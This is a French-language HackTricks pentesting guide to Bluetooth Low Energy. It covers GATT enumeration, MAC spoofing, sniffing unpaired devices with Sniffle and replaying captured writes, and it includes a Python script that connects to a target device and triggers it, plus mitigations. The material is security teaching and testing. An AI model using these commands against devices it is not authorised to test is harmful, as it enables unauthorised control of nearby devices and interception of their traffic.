Pentesting BLE - Bluetooth Low Energy

Reading time: 9 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Introduction

Disponible depuis la spécification Bluetooth 4.0, le BLE n'utilise que 40 canaux, couvrant la plage de 2400 à 2483,5 MHz. En revanche, le Bluetooth traditionnel utilise 79 canaux dans cette même plage.

Les appareils BLE communiquent en envoyant des advertising packets (beacons) ; ces paquets annoncent l'existence de l'appareil BLE aux autres appareils à proximité. Ces beacons transmettent parfois aussi des données.

Le dispositif à l'écoute, aussi appelé central device, peut répondre à un advertising packet par une SCAN request envoyée spécifiquement à l'appareil émetteur. La réponse à ce scan utilise la même structure que le advertising packet avec des informations supplémentaires qui n'ont pas pu tenir dans la publicité initiale, comme le nom complet de l'appareil.

L'octet de préambule synchronise la fréquence, tandis que l'adresse d'accès de quatre octets est un connection identifier, utilisée dans des scénarios où plusieurs appareils essaient d'établir des connexions sur les mêmes canaux. Ensuite, la Protocol Data Unit (PDU) contient les advertising data. Il existe plusieurs types de PDU ; les plus couramment utilisés sont ADV_NONCONN_IND et ADV_IND. Les appareils utilisent le type PDU ADV_NONCONN_IND s'ils n'acceptent pas de connexions, transmettant des données uniquement dans le advertising packet. Les appareils utilisent ADV_IND s'ils acceptent les connexions et cessent d'envoyer des advertising packets une fois qu'une connection a été établie.

GATT

Le Generic Attribute Profile (GATT) définit comment le device doit formater et transférer les données. Lorsque vous analysez la surface d'attaque d'un appareil BLE, vous vous concentrerez souvent sur le GATT (ou les GATT), car c'est ainsi que les fonctionnalités de l'appareil sont déclenchées et que les données sont stockées, groupées et modifiées. Le GATT liste les caractéristiques, descriptors et services d'un appareil dans une table sous forme de valeurs sur 16 ou 32 bits. Une characteristic est une valeur de data envoyée entre le central device et le périphérique. Ces caractéristiques peuvent avoir des descriptors qui fournissent des informations supplémentaires à leur sujet. Les characteristics sont souvent groupées en services si elles sont liées à l'exécution d'une action particulière.

Énumération

bash
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool permet d'établir une connexion avec un autre appareil, d'énumérer les caractéristiques de cet appareil, et de lire et écrire ses attributs.
GATTTool peut lancer un shell interactif avec l'option -I :

bash
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
[A4:CF:12:6C:B3:76][LE]> characteristics
handle: 0x0002, char properties: 0x20, char value handle:
0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle:
0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
[...]

# Write data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-write-req <characteristic handle> -n <value>
gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)

# Read data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read -a 0x16

# Read connecting with an authenticated encrypted connection
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c

Bettercap

bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

Sniffing et contrôle actif des appareils BLE non appariés

Beaucoup de périphériques BLE bon marché n'appliquent pas le pairing/bonding. Sans bonding, le chiffrement du Link Layer n'est jamais activé, donc le trafic ATT/GATT est en clair. Un off-path sniffer peut suivre la connexion, décoder les opérations GATT pour découvrir les characteristic handles et leurs valeurs, et tout hôte à proximité peut ensuite se connecter et replay ces écritures pour contrôler l'appareil.

Sniffing with Sniffle (CC26x2/CC1352)

Matériel : un Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) re-flashé avec le firmware Sniffle du NCC Group.

Installez Sniffle et son Wireshark extcap sur Linux:

bash
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi

Flasher le Sonoff avec le firmware Sniffle (assurez-vous que votre périphérique série correspond, p. ex. /dev/ttyUSB0):

bash
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

Capturez dans Wireshark via le Sniffle extcap et pivotez rapidement vers les écritures modifiant l'état en filtrant :

text
_ws.col.info contains "Sent Write Command"

Cela met en évidence ATT Write Commands provenant du client ; le handle et la value correspondent souvent directement à des actions sur l'appareil (p. ex., write 0x01 to a buzzer/alert characteristic, 0x00 to stop).

Exemples rapides de Sniffle CLI :

bash
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

Alternative sniffer : Nordic’s nRF Sniffer for BLE + Wireshark plugin fonctionne aussi. Sur les dongles Nordic petits/bon marché, on écrase généralement le USB bootloader pour charger le sniffer firmware, donc il faut soit garder un dongle sniffer dédié, soit utiliser un J-Link/JTAG pour restaurer le bootloader ensuite.

Contrôle actif via GATT

Une fois que vous avez identifié un handle de caractéristique écrivable et sa valeur à partir du trafic capturé, connectez-vous en tant que central et effectuez la même écriture :

  • Avec Nordic nRF Connect for Desktop (BLE app) :

  • Sélectionnez le dongle nRF52/nRF52840, lancez le scan et connectez-vous à la cible.

  • Parcourez la base de données GATT, localisez la caractéristique cible (elle porte souvent un nom convivial, p.ex. Alert Level).

  • Effectuez un Write avec les bytes capturés (p.ex. 01 pour déclencher, 00 pour arrêter).

  • Automatisez sous Windows avec un dongle Nordic en utilisant Python + blatann:

python
import time
import blatann

# CONFIG
COM_PORT = "COM29"  # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00"  # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")

# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)

print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)

# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b:  # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")

print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()

Notes opérationnelles et mesures d'atténuation

  • Préférez Sonoff+Sniffle sous Linux pour un channel hopping robuste et le suivi des connexions. Gardez un Nordic sniffer de rechange.
  • Sans pairing/bonding, tout attaquant à proximité peut observer les writes et replay/craft les siens vers des unauthenticated writable characteristics.
  • Mesures d'atténuation : exiger pairing/bonding et appliquer le chiffrement ; définir les permissions des characteristics pour exiger des authenticated writes ; minimiser les unauthenticated writable characteristics ; valider les GATT ACLs avec Sniffle/nRF Connect.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks